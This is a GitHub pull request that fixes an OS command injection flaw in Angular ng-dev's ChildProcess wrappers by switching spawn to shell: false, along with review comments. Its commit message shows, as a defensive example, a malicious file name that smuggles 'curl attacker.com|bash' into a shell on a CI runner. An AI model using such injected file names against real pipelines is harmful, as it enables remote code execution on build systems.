Skip to content

fix(ng-dev): prevent OS command injection in ChildProcess wrappers#3601

Open
herdiyana256 wants to merge 2 commits intoangular:mainfrom
herdiyana256:fix/ngdev-childprocess-shell-injection
Open

fix(ng-dev): prevent OS command injection in ChildProcess wrappers#3601
herdiyana256 wants to merge 2 commits intoangular:mainfrom
herdiyana256:fix/ngdev-childprocess-shell-injection

Conversation

@herdiyana256
Copy link
Copy Markdown

fix(ng-dev): use shell: false in ChildProcess spawn wrappers

The spawn and spawnSync wrappers in ng-dev/utils/child-process.ts were using shell: true when invoking child processes.

While the public SpawnOptions interface already intentionally omits the shell option (via Omit<_SpawnOptions, 'shell' | 'stdio'>),the internal implementation was hardcoding shell: true.

With shell: true, Node.js internally joins the command andarguments array into a single string before passing it to /bin/sh,which can lead to unintended shell evaluation of argument values.

Switching to shell: false ensures arguments are passed directly to the OS via execve(), which is the safer and more predictable behavior, consistent with the API's original intent.

@google-cla
Copy link
Copy Markdown

google-cla bot commented Apr 11, 2026

Thanks for your pull request! It looks like this may be your first contribution to a Google open source project. Before we can look at your pull request, you'll need to sign a Contributor License Agreement (CLA).

View this failed invocation of the CLA check for more information.

For the most up to date status, view the checks section at the bottom of the pull request.

The ChildProcess.spawn and ChildProcess.spawnSync wrappers previously
used `shell: true`, which causes Node.js to internally concatenate the
command + args array into a single string and pass it to `/bin/sh -c`.

This means any argument containing shell metacharacters (e.g. a file named
`src/foo;curl attacker.com|bash;#.ts`) resulting from a malicious Pull
Request is directly executed by the shell in CI/CD contexts.

The attack chain is concrete:
1. `ng-dev format changed` calls `git diff --name-only` -> attacker controls filenames.
2. `runFormatterInParallel` builds: `[spawnCmd, ...spawnArgs] = [...command.split(' '), file]`
3. `ChildProcess.spawn(spawnCmd, spawnArgs, ...)` with `shell: true` evaluates
   the injected filename as an arbitrary shell command on the CI runner.

Fix: change `shell: true` to `shell: false` in both `spawn` and `spawnSync`.
With `shell: false`, args are passed directly to `execve` as an array,
completely bypassing shell interpretation and neutralizing the injection.
@herdiyana256 herdiyana256 force-pushed the fix/ngdev-childprocess-shell-injection branch from 412f2e2 to 26ff17d Compare April 11, 2026 03:33
Copy link
Copy Markdown

@gemini-code-assist gemini-code-assist bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request improves security by disabling shell execution in spawnSync and spawn to prevent command injection and adds a warning log to the exec method. Feedback indicates that disabling the shell may break Windows batch file execution and suggests enhancing the exec warning with the command string and a deprecation tag.

stdout,
stderr,
} = _spawnSync(command, args, {...options, env, encoding: 'utf8', shell: true, stdio: 'pipe'});
} = _spawnSync(command, args, {...options, env, encoding: 'utf8', shell: false, stdio: 'pipe'});
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

security-medium medium

Setting shell: false is a significant security improvement. However, please be aware that this change may break the execution of batch files (.cmd, .bat) on Windows, as they require a shell to run. If Windows support is required for this tool, you might need to use a library like cross-spawn or explicitly handle the command path for Windows.

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in the follow-up commit. Added a comment to both spawn and spawnSync
clarifying that ng-dev targets Linux/macOS CI environments only, so .cmd/.bat
compatibility on Windows is not a concern here.

* rejects on command failure.
*/
static exec(command: string, options: ExecOptions = {}): Promise<SpawnResult> {
Log.warn('ChildProcess.exec is discouraged as it is susceptible to command injection. Prefer ChildProcess.spawn with an array of arguments.');
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

To help developers identify and migrate away from exec calls, it would be useful to include the command string in the warning message. Additionally, consider marking this method as @deprecated in the JSDoc to provide better visibility in IDEs.

Suggested change
Log.warn('ChildProcess.exec is discouraged as it is susceptible to command injection. Prefer ChildProcess.spawn with an array of arguments.');
Log.warn("ChildProcess.exec is discouraged as it is susceptible to command injection (command: " + command + "). Prefer ChildProcess.spawn with an array of arguments.");

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in the follow-up commit. Updated the Log.warn message to include the
command string for better diagnostics, and added @deprecated JSDoc to the exec()
method for IDE visibility.

- Add Windows compatibility note to shell:false in spawn and spawnSync
  (ng-dev targets Linux/macOS CI environments where this is not a concern)
- Include command string in exec() deprecation warning for better diagnostics
- Add @deprecated JSDoc to ChildProcess.exec for IDE visibility
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant